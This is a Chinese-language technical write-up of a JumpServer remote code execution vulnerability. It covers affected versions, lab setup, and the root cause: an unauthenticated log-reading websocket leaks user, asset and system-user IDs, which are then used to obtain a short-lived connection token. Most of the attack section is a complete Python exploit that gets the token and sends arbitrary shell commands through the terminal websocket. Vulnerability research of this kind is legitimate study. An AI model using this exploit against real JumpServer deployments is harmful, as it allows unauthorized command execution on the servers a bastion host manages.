JumpServer RCE 原理浅析
0x1 影响版本
< v2.6.2
< v2.5.4
< v2.4.5
= v1.5.9
>= v1.5.3
安全版本:
>= v2.6.2
>= v2.5.4
>= v2.4.5
= v1.5.9 (版本号没变)
< v1.5.3
0x2 环境搭建
Centos 7.0
Jumpserver 2.6.1
Chrome websocket 插件
cd /opt/
yum -y install wget
wget https://github.com/jumpserver/installer/releases/download/v2.6.1/jumpserver-installer-v2.6.1.tar.gz
tar -xf jumpserver-installer-v2.6.1.tar.gz
cd jumpserver-installer-v2.6.1
export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
./jmsctl.sh install
Tips: 全部默认回车即可,默认会安装 docker 拉取镜像启动。
默认配置。
启动 jumpserver。
./jmsctl.sh start
访问 http://10.211.55.35:8080
默认用户密码 admin / admin
进入后台添加资产。
创建用户(该用户是资产(被控服务器)上的 root,或拥有 NOPASSWD: ALL sudo 权限的用户)。
创建系统用户(该系统用户是用来跳转登录资产时使用的用户,支持SSH密钥、请手动填写账号密码、自动填充账号密码)。
资产授权用户。
WEB终端资产管理。
0x3 漏洞原理
3.1 未授权Log日志读取原理
定位 JumpServer Github 最近一条 fix: bug commit 。
定位 CeleryLogWebsocket
类,大概读了下代码贴了下面部分注释。
get_task_log_path
函数中的 get_celery_task_log_path
读取文件时对后缀进行了校验,只能读取 .log
结尾的文件。
可以通过固定路径读取 gunicorn.log
该文件记录了 http 请求(请求源IP,时间,请求方式,url,响应码等)敏感信息,而由于 jumpserver 中存在一些以 get 方式处理敏感信息(system_user_id
,user_id
,asset_id
)的接口导致可以通过如下方式获取一个20s 的token。
3.2 Token 获取
使用插件连接 websockt 读取 gunicorn.log
日志文件获取到 system_user_id
,user_id
,asset_id
参数值。
ws://10.211.55.35:8080/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/gunicorn"}
搜索 api/v1/perms/asset-permissions/user/validate
文本
在 docker 容器看了下,将关键参数值记录下来。
跟进 apps/authentication/api/auth.py
文件内的 UserConnectionTokenApi
类。
该接口使用 system_user_id
,user_id
,asset_id
生成一个 20s 的 token
。
UserConnectionTokenApi
类对应的路由。
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/
使用 Python
脚本获取 token
。
import requests
url = "/api/v1/authentication/connection-token/?user-only=None"
host = "http://10.211.55.35:8080"
data = {
"system_user":"00ea5bc3-7a06-4809-91ae-2ad47d85c3ea",
"user":"93c5dfa9-63d7-4b5c-8d97-90def49fbf65",
"asset":"88db5a31-366a-46ff-bc91-c24693b1eb88"
}
print("##################")
print("get token url:%s"%(host+url,))
print("##################")
res = requests.post(host+url,json=data)
token = res.json()["token"]
print("token:%s",(token,))
print("##################")
3.3 命令执行
进入后台 WEB终端,观察发现是通过 websocket 处理 web_terminal
相关功能,攻击者利用获得的 token
和 system_user_id
,user_id
,asset_id
便可通过 websocket 在对应的服务器上执行命令。
Python 利用脚本脚本。
import asyncio
import websockets
import sys
import requests
import json
import sys
try:
cmd = sys.argv[1]
except:
print("python3 demo.py {cmd}")
sys.exit
url = "/api/v1/authentication/connection-token/?user-only=None"
host = "http://10.211.55.35:8080"
data = {
"system_user":"00ea5bc3-7a06-4809-91ae-2ad47d85c3ea",
"user":"93c5dfa9-63d7-4b5c-8d97-90def49fbf65",
"asset":"88db5a31-366a-46ff-bc91-c24693b1eb88"
}
print("##################")
print("get token url:%s"%(host+url,))
print("##################")
res = requests.post(host+url,json=data)
print(res.text)
token = res.json()["token"]
print("token:%s",(token,))
print("##################")
target = "ws://10.211.55.35:8080/koko/ws/token/?target_id="+token
print("target ws:%s"%(target,))
print("##################")
# 向服务器端认证,用户名密码通过才能退出循环
async def auth_system(websocket):
while True:
cred_text = input("please enter your username and password: ")
await websocket.send(cred_text)
response_str = await websocket.recv()
if "congratulation" in response_str:
return True
# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
print(f"{recv_text}")
# 客户端主逻辑
async def main_logic():
print("#######start ws")
async with websockets.connect(target) as websocket:
#await auth_system(websocket)
recv_text = await websocket.recv()
print(f"{recv_text}")
resws=json.loads(recv_text)
id = resws['id']
print("get ws id:"+id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await send_msg(websocket,inittext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print("###############")
print("exec cmd: {}".format(cmd))
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
await send_msg(websocket, cmdtext)
for i in range(100):
recv_text = await websocket.recv()
print(f"{recv_text}")
print('#######finish')
asyncio.get_event_loop().run_until_complete(main_logic())
成功返回系统环境变量。
参考
https://docs.jumpserver.org/zh/master/install/setup_by_fast/
https://github.com/jumpserver/jumpserver
https://my.oschina.net/u/4600927/blog/4913184
https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw
https://mp.weixin.qq.com/s/1pQe78ehImDw9ufvSIxn9Q